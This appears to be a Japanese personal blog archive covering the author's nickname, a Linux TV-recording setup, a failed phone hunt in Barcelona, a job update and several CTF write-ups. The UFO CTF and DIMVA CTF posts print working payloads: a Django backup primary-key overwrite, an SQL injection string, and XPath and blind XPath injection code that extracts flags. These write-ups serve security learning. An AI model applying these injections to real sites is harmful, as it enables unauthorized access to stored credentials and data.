ハンドルネーム

世間が某音楽デュオの話で盛り上がっているのでそれに便乗して…

よく聞かれるのですが、私のハンドルネームがチャゲになったのは、小学校3年生くらいの時からアダ名がそうだったからです。

中学・高校・大学もずっとそのアダ名で呼ばれているのですが、なぜそう呼ばれ始めたのかよく覚えていません。
(音楽ユニットに関係あったかもしれないしなかったかもしれない)

ハンドルネームとしてインターネットで10年近く利用していますが、エゴサーチしづらいだけでなく、たまに音楽ユニットと間違われることがあります。

最近だと、Google+で音楽ユニットの方が写っている忘年会の写真にタグ付けされて、限定公開の写真が見えてしまうということがありました。

Google+のプロフィールには、学校名とか所属している会社とか書いてあるので、見たらすぐにわかるはずなのですが…

案外、タグ付けする際に確認せずに気軽にタグ付けする人が多いのかもしれないですね。

逆に、芸能人になりすましてプロフィールを作ると、タグ付けされて情報が手に入ったりするのかもしれないと思いました。
(やりたくないし。やらないですが)

そもそも情報の公開範囲制限をかけてない投稿って多いですし、人間の操作ミスも含まれるので情報が漏れてしまうのを防ぐのはなかなか難しそうです。

話が大きくそれましたが、私のハンドルネームの由来を知っている方はご一報ください。

録画環境を構築した

環境

ハードはこれ

OSは未だにUbuntu 12.04

録画するまで

ここ数カ月はサラリーマン生活をしていて、朝10時に出勤しているのだけど、そうなるとさすがに夜更しがつらくなってきた。

深夜アニメを見る生活も捨てがたいし録画することにした。

PCで見たいので録画カードとしてPT3を買った。

届いてから設置して、Ubuntuにドライバを入れたりした。

PT3のドライバがgithubにあったので、すごい時代だなあと思いながらインストール。

recpt1が必要とのことだったのでこことかを参考にぐぐりながら入れて、再起動。

B-CASカードに関してはここでは述べないこととする。

録画管理にはepgdumpではなく、chinachuを使うことにした。

たまたま冬コミでマニュアルを手に入れていたこともあるけど、モダンな感じなのとnode.jsで書かれているのがいい感じ。
(epgdumpも入れてみたけどapacheやmysql依存してると開発環境とぶつかってよくない感じに・・・)

chinachuのWUIは結構充実してて、その場で番組視聴したり録画視聴できるのが嬉しい。

node.jsは既に入っていたし、wikiに書いてあるとおりにやったらすんなりいけた。

コマンド1回でだいたい終わるのはとても気持ちいい。

設定に関して、チャンネルは下のように総当たりでスキャンするか地域で調べるかすればよさげ。

for var in `seq 13 80` ; do recpt1 --b25 --strip $var 10 ./$var.ts;done

ど素人だけど半日あれば十分だった。

エンコード問題

録画環境が構築できたので試しに録画してみた。

ある程度覚悟はしていたものの、30分のアニメでm2ts形式のファイルだと3GB前後といった感じだった。

うう〜ん。。。でかい。。。

とりあえずmp4に変換しようと思い、HandBrakeを使ってみる。

Linux環境でもQSVが使えるらしく、ffmpegよりエンコード速度が速いかもとのこと。

[追記: 2014/10/25]まだLinux環境でもサポートされていないようでした。

インストール時に注意なのが、「ppa:stebbins/handbrake-releases」には「handbrake」はなくて「handbrake-cli」と「handbrake-gtk」があるということ。

試しに比較してみると、30分のアニメで、HandBrakeだと20分、ffmpegだと60分以上かかった。

この時の圧縮後の容量はHandBrakeは400MB、ffmpegは600MBという感じだった。

HandBrakeのほうが画質が落ちているように見えるが、比較しなければ気にならない程度。

当然、エンコード方式等々で変わってくるだろうからコマンドを貼っておく。

ffmpeg -i in.m2ts -vcodec libx264 out.mp4
HandBrakeCLI -e x264 --deinterlace fast --h264-profile main --modulus 2 -q 22 --aencoder copy:aac -i in.m2ts -o out.mp4

適当にencodeしたので適切に圧縮されているのか少し不安である。

tssplitter_liteを使ってみたけど、髪の毛ほどしか変わらなかった。
(recpt1にtssplitter_liteが内臓されているらしいので、既に処理されていたのかも)

このまま1ファイル約400MBで保存したとすると、1クール過ぎるたびに 30番組 * 12本 * 400MB = 144GB の容量が必要になる。

実際どんな感じなんでしょうかみなさん。

今後したいこと

  • エンコード自動化(早く)
  • Twitter連携
  • 動画用ストレージの用意
  • 動画配信サーバの用意
  • 録画専用サーバの用意(余裕があれば)

まだ導入したてなので、エンコード自動化するスクリプト書いてない。

そもそもどんな感じにエンコードしたらいいのか見極めきれてない。

chinachuとの連携に関しても、普通はWebSocketで監視すればいいのだろうけど、録画完了したら勝手にスクリプト叩くようにいじったほうが楽そうでもあるし、少し考え中。

あとはCMを消すかどうか。

どうでもいい番組に関しては(間違って内容消されても痛くないので)消すかもしれない。

スペインでFirefox OS端末は買えるのか?

この記事はKMCアドベントカレンダーの4日目の記事です。

1〜3日目の人達は技術系の記事を書いているため、僕は少し緩めの話をしようと思います。

僕は10月末〜11月初めまで、Facebook CTF決勝のためにチームEpsilonDeltaの4人でスペインにいました。
その時に、スペインで販売されているFirefox OS搭載の端末「ZTE Open」を購入しようとしたという話です。

もし今後スペインに行くことがあり、携帯端末を購入するという方の参考になればと思います。

※Facebook CTFに関する詳しい内容はC85で頒布する部誌に記事を載せているのでそちらをよろしくお願いします。
3日目 西地区 ”し” ブロック 42bです。
よろしくお願いします。
3日目 西地区 ”し” ブロック 42bです。

事の始まり

Firefox OS搭載の端末は、先ほど出てきたZTE Openの他にもPeak・Peak+・Keonなどありますが、これらは既に品切れ状態が続いており(Peakは再生産するらしい?)ほとんど手に入らないようです。

ZTE Openが初めて販売されたのはスペインからということで少し話題になりました。(http://gigazine.net/news/20130710-firefox-os-smartphone-zte-open/)
ZTE Openはebayで輸入することができるため日本にいても手に入るのですが、輸入にかかる費用を含めて1万円弱($94.99 USD)かかります。
一方、スペインで買うと7000円弱(49 EUR)で手に入るとわかりました(運が良ければ中古で安く手に入らないかとも期待していた)。

せっかくスペインに行くのだしこれを自分へのおみやげにしようと決めて出発したのでした。

11/3 朝

スペイン・バルセロナ自体には10/30昼〜11/4昼までいたのですが、CTFがあったりその他に行く場所があったりして、ZTE Openを探す時間ができたのは11/3と11/4になってしまいました。

11/3も観光地に寄る予定を組んでいたために、朝に1時間ほどしか動けませんでした。

しかもこの日は日曜日。
スペインでは日曜日になるとほぼ全ての店が閉まってしまいます。(日本だと異常事態ですね。)

ということでこの日はどこに行っても閉店・・・(流石に一部のコンビニや観光地のショップは開いていましたが)
ホテル付近の店は全滅という状態で諦めざるを得ませんでした。

スペインに行く際は日曜日(domingo)に気をつけて下さい。

11/4 9:30

この日は最終日なので9:30-12:00までの間に急いで探さないと行けませんでした。

前日に調べた結果、とりあえずホテルのすぐ近くにあるmovistar直営店に寄ることにしました。

movistarというのはスペイン語圏の国々で主に活動している会社で、スペインで最大の携帯事業会社となっています。
世界第5位の通信事業会社Telefónicaの子会社でもあります。

スペイン最大ということもあって、バルセロナの町の至る所にmovistarの直営店がありました。
(その他にはvodafoneやorangeやyoigoといった会社が多く見られました。)

どこにmovistarがあるのかはこのページで確認することができるのですが、本当にバルセロナを埋め尽くしているという感じです。

スペインではこのmovistarがZTE Openを取り扱っているらしく、実際に店頭に並べられていたり広告が貼られているのは事前に確認済みです。
このような特設ページも作られています。
http://www.movistar.es/firefoxos

スペイン語がわからない人間のために英語で書かれたZTE Open購入マニュアルも見つけました。
How to Buy ZTE Open – Step by Step Guide

これで準備も万全だ!と満を持してmovistarに入ると、スペイン人のお姉ちゃんが1人で店番をしているだけでした。

僕「Hola!」
店員「Hola!」
僕「Is there ZTE Open in this shop?」
店「Ah… what?」
僕「uhm… Do you have any Z T E O p e n?」(手にZTE Openの文字を書きながら)
店「&#'(“#$%&'(`*@{}*」(スペイン語)
僕「P…Perdon?」
店「There is ZTE Open but It is locked so…」
僕「???」

みたいなやりとりを数分繰り返していたのですが、店員の話によると「movistarで販売されいてるZTE Openはsim lock freeではない」「MEDIAMARKTか近くのデパートの電気屋に行けば買えるかもしれない」ということでした。

MEDIAMARKTはドイツに本社があるヨーロッパ最大のマーケットのことで、バルセロナ市内にもあったのですが、1時間ほどかかる場所にあったため時間的に行けそうにありませんでした。

そこで先ほど店員に教えてもらった近くのデパートに向かうことにしました。

11/4 10:30

デパートの6階にmovistarやその他の携帯事業者の出す携帯端末の販売店がありました。

Samsung GalaxyやNexusやHTCといった日本でもよく見る端末の他に、名前を聞いたことがない端末がいくつか並んでいました。
知らない端末に購買欲を駆られましたが、今狙っている端末はただ1つZTE Openだけだと我慢することに。

とりあえず店員に英語で大丈夫かと話しかけたところ英語が話せない人だったため、英語のわかる店員を呼んでもらいました。
ZTE Openがあるかどうか、先ほどと同じ手段で聞いてみたのですが「そんなものは聞いたことがない、うちには置いてない」と言われ、諦めることにしました。

後々考えるとうまく伝わってない可能性があったので、ZTE Openのビラでも見せていれば実はここで買えていたかもしれません。

11/4 11:00

こうなってしまうとどこにも行くあてがないので、ぶらぶらと放浪しながらmovistarの別の店に寄ったりしていたのですが、たまたま行き着いた場所で「Phone House」という店を発見。
google mapsで検索をかけると他にも10分圏内の位置に何件かあることがわかったため、3件ほど訪れてみました。

中には端末がいくつか用意されており、どうやらSIMカードも買えるみたいでした。

しかし使える携帯事業者にvodafone・orange・yoigoはあるのですがmovistarがない。。。

恐る恐るZTE Openがあるかどうか聞いてみたのですが、「そんな端末聞いたことがないよ」と言われてしまいました。
今回はZTE Openと書いた紙を持っていったので、僕の発音がめちゃくちゃで聞き取れないというわけでもなさそうです。(以外と知名度が低い???)

後から調べたところPhone HouseではZTE Openは扱っていないようでした。
http://www.phonehouse.es/moviles?movil-marca=ZTE&movil-sistema=Android&movil-precio=#movil

とはいえPhone House、スペインでモバイル通信するにはとても便利そうです。

結局

今回の旅ではZTE Openを購入することはできませんでした。

で、どうしたかというとやっぱり諦めきれないため、知り合いとebayで共同購入することになりました。
共同購入すると少し安くなるらしい。

反省点としては事前調査と当日の活動時間が足りなかったかなあと思います。

ただスペインに行く前は「スペイン人は英語しゃべれないから気をつけたほうがいい」と聞かされており、確かにデパートの店員なんかは英語でコミュニケーションが取れなかったのですが、movistarやPhone Shopの店員は英語を聞き取れる方が多いので案外なんとかなるかと思います。
初めに英語で大丈夫か聞くと、恥ずかしそうに「A little.」とか言ってくれます。(かわいい)

明日はtsutchoさんによる「CUDAのメモリの種類が多くて面倒だという話」です。
お楽しみに。

最後に、movistarで見つけたFirefox OSのカタログや広告の画像を貼っておきます。

Untitled

Untitled

Untitled

Untitled

ところでこれ、Firefox OS Advent Calenderに載せたほうがよかったのでは・・・

DEF CON CTF Qualifier 2013

問題解いてた時のログが残ってないし、探せば他が出てくると思うのでwriteupは書きません。
一応、webを何問かとprogramming2問ほどを解きました。

うちを含め多くのチームがweb問題を全完しており、今回のweb問題は易しかったように感じます。

開始直後は、8-puzzleのprogrammingを解いて7位くらいだったけど、最終的には79位となった。

2日目・3日目は学校をサボって灘高にいて、チームで問題を解いてたらだんだん正気が保てなくなってきた。

DEFCONが僕達に残したもの
DSC_0131

UFO CTF 2013 writeup – Web200

Those aliens consider themselves as the most smart creatures in
the world. Pff. They shouldn't even have tried to defeat mankind
having such stupid stuff in their heads! As for you, why wouldn't
you hack them? They'll most likely surrender then. By the way, it
is known that they update some data every 10-20 seconds, but
unfortunately our equipment can't intercept the data itself.
 
http://superhosting.tasks.ufoctf.ru:8000/

自分のウェブページが作れ、バックアップと復元ができるシステムになっている。

バックアップしてみると、[username]_[md5(username)][md5(zipfile)].zipという名前でzipファイルがダウンロードでき、それをアップロードすることで復元ができるようになっている。
zipファイルの中身を解凍すると、.backupという名前で以下のようなファイルが入っている。

<?xml version="1.0" encoding="utf-8"?>
<django-objects version="1.0">
	<object pk="12349813568" model="hosting.pagesettings">
		<field type="CharField" name="owner_name">username</field>
		<field type="CharField" name="owner_email">test@localhost</field>
		<field type="CharField" name="page_title">My homepage</field>
		<field type="TextField" name="page_content">Hello everyone! This is my new homepage.</field>
		<field type="CharField" name="page_footer">Made with love and care</field>
		<field type="BooleanField" name="page_is_public">False</field>
		<field type="CharField" name="page_public_id"></field>
	</object>
</django-objects>

いろいろと試した結果、復元時にpk(primary key)を変えた場合にそのpkを持つフィールドのデータを上書きすることができるとわかった。

以下のようなxmlファイルを含めて復元し、再びバックアップをダウンロードすると、pk=1のデータの入ったバックアップファイルが手に入り、pk=1のデータにflagが書かれていた。

<?xml version="1.0" encoding="utf-8"?>
<django-objects version="1.0">
	<object pk="1" model="hosting.pagesettings">
		<field type="CharField" name="owner_name">username</field>
	</object>
</django-objects>

DIMVA CTF 2013 writeup

DIMVA CTFに参加していた。

私のチーム(Epsilon Delta)は850ポイントで17位だった。

Web 100

画像アップローダーが用意されており、どうにかこうにかする問題。

はじめにいくつか画像が用意されており、パスワードを入力しないと閲覧できない画像があったため、そのパスワードを求める問題と推察される。

各画像にはタグがついており、同じタグを持つ写真を一覧で見れる。

しかし、シングルクオートの入ったタグの場合は一覧ページでエラーが発生していたため、SQLインジェクションがあるとわかった。

画像をアップロードした際、画像のコメントがタグになって登録されるので、そこにSQLインジェクションを埋め込む。

' union all select password from pictures--

その後、一覧ページを閲覧することでパスワードが入手でき、c0ffeeからはじまるパスワードがFlagであると判明した。

c0ffee29e34ad42d38cbe236913c911a

パスワード付きの画像はこんな感じだった。

SONY DSC

素直でわかりやすい問題だったように思う。

Web 200

普通にアクセスすると

10
'user' and/or 'password' parameters missing, please provide an xml parameter of the following form to login: <login><user>(base64-encoded username)</user><password>(base64-encoded password)</password></login>

ってのが返って来る。

一日近く、urlにログイン用xmlを足したり、ファイルとして送信したり、送信するパケットのいろんなところに埋め込んだりして悩んだ。。。

コンテスト終了直前になって、/?xml=…とすればログインできることに気づく。

xml parameterってのが素直にxmlって名前のリクエストパラメータだったのに、そこに気づくまでに一日かかって英語の壁を感じる。

これがわかればあとは解くだけ。

とりあえず色々試していると、以下のレスポンスが返って来たため、XPathへのインジェクションだとわかった。

 Error during login: Query: //User[UserName/text()='' and Password/text()='' '... ........................................................^^^ Invalid query somewhere around here (I think)

「’ or ‘1’=’1」とかしてログインに成功すると、htmlのコメントで「users.xml~が残ってるからあとで消すように」と書かれているのでアクセスしてみる。

xml形式のユーザーデータがあり、「c0ffeefa7745f449c26000a2612affec」というデータがあったので、それをFlagとして送信したが失敗。

どうやらuser.xml~は古いデータらしく、現在は別のものに置き換わっている模様。

なのでblind injectionを利用して現在のデータからFlagを取得する。

var search = "c0ffee";
 
var test = function(next) {
	$.ajax({
		url: "/",
		data: {
			user: "",
			password: Base64.encode("' | //User[contains(.,'" + search + next)
		}
	}).done(function(data) {
		search += next
		nextTest();
	});
};
 
var nextTest = function() {
	for (var i="a".charCodeAt(0);i<="z".charCodeAt(0);++i) {
		test(String.fromCharCode(i));
	}
	for (var i=0;i<=9;++i) {
		test(i);
	}
};

以下のFlagが得られる。

c0ffee153dbc077ea80f4e697a63ec1e

Accepted!!!

SIGINT CTF 2013 writeup – bloat (cloud 200)

CTF

えと、ブログを更新停止している間に、Epsilon DeltaとしていくつかCTFに参加していました。

  • Codegate YUT Preliminary 2013
  • Nuit du Hack CTF Quals 2013
  • BaltCTF Quals 2013
  • SECUINSIDE CTF Quals 2013
  • Boston Key Party CTF 2013
  • DEF CON CTF Qualifier 2013
  • SIGINT CTF 2013

はじめは海外のCTFの感覚がつかめず、ちゃんと解いたような記憶もなかったのですが、BKPあたりからは少し慣れてきたような気がします。

今まで解いてた問題のwrite upを書こうとも思ったのですが、すっかり忘れてしまっているため、一番最近やったSIGINT CTFのwrite upを書くことにします。

“SIGINT CTF 2013 writeup – bloat (cloud 200)” の続きを読む

サイト移転中です

なかなか時間が取れず、サイトの移転を先延ばしにしていたのですが、移転することになりました。

移転元: http://tyage.sakura.ne.jp/
移転先: http://tyage.net/

さくらのクラウド二万円クーポンを頂いたため、サーバはそこにおいてあります。

さくらのVPSもさくらのレンタルサーバも契約してあるんですが、せっかくなのでクラウドに統一して、他はいらないかなと思っています。

あんまり深く考えず、OSはDebian 7.1(wheezy)で、このブログとかはnginx使って動かしています。

とりあえずブログから移転することにしました。

移転前のサイトのコンテンツは、残すか消すか迷っています。

いくつかのサービスやゲームはさくらのクラウド上で動かすつもりです。

移転元のサイトは今年分の料金を払ったので、あと1年だけ残すことになります。

ここのところ、ブログも書けていないのでちゃんと書いていきますね。

移転に際して、以下のページを参考にさせていただきました。
nginxベースの高速なWordPress環境をお名前.comのVPSで構築
Debian Squeeze に nginx + php-fpm な Web サーバーを構築する

また働き始めたこと

ネットではあんまり公にはしてなかったのだけど、10月ごろからまたReventive, Incにて働き始めました。

「また」ってのは、2011年の初頭にも働いていたことがあって、そのころはTitanium Mobileでチャットアプリを作っていました。

Titanium Mobileに毎日いらついていた覚えがあります。

Titanium Mobileの存在自体がトラウマ化した・・・。


んで、受験シーズンに突入したってことで一旦は抜けたんだけどまた戻って来ました。

今はCloseというSNSのAndroid版を作っています。
(一時期話題になってたので聞いたことがある方もいるかもしれません。)

JavaでのAndroidアプリの開発はほぼ未経験で、Javaも普段は触ってないのですが、一日くらいコードを眺め続けてなんとか書けるようになりました。

当然、一日で書けたのはほんの少しでしたが、二ヶ月経った今は、ある程度書けるようになったとおもいます。

それと、他人とプロジェクトを共有したり、gitを本格的に使ったりってのも今まであまりやってこなかったので勉強になりました。


iOSアプリ開発・Androidアプリの開発の両方をしているとやっぱり、Android側はIDEがあまりよくないし、端末間での誤差を調整するのがとてもつらいかなあと思います。

当然ですがOSのバージョンが違えば挙動も違うし、使える機能・使えない機能があるし、端末によって不思議なことが頻繁に起こり、苦労します。

それにリストビューとか、iOSと比べてあんまり機能が充実していないのではないかなあと感じることもしばしば。

なんにせよ辛いことが多いですが、Objective-Cを書くよりかはJava書いてるほうが気が楽ではあります。


現在気になっているのはテストの方法。。。

今まで他人のやりかたを見てなかったので、コードを書いたらそれを端末上で実行し、手動デバッグを繰り返していたのですが明らかに効率が悪い。

D○Aさんでも最終的には手動テストだと小耳に挟んだ気がするのだけど、流石にテストの効率化ぐらいはしてるだろうなあ。

Androidテスト部の方からご教授願いたいでし。


Androidアプリの開発をしていて色々と知見を得たことが多かったでし、仕事先の人は面白い人が多いです。

ただ、Close for AndroidはこのようにAndroidアプリ開発初心者も開発に携わっているため、何かと問題を抱えていることもあります。

そのため、あまり期待せずこれからの成長を暖かく見守っていただきながら、インストールしてもらえると嬉しく感じます(ステマじゃないよ宣伝だよ!)

Close for Android
Close for iOS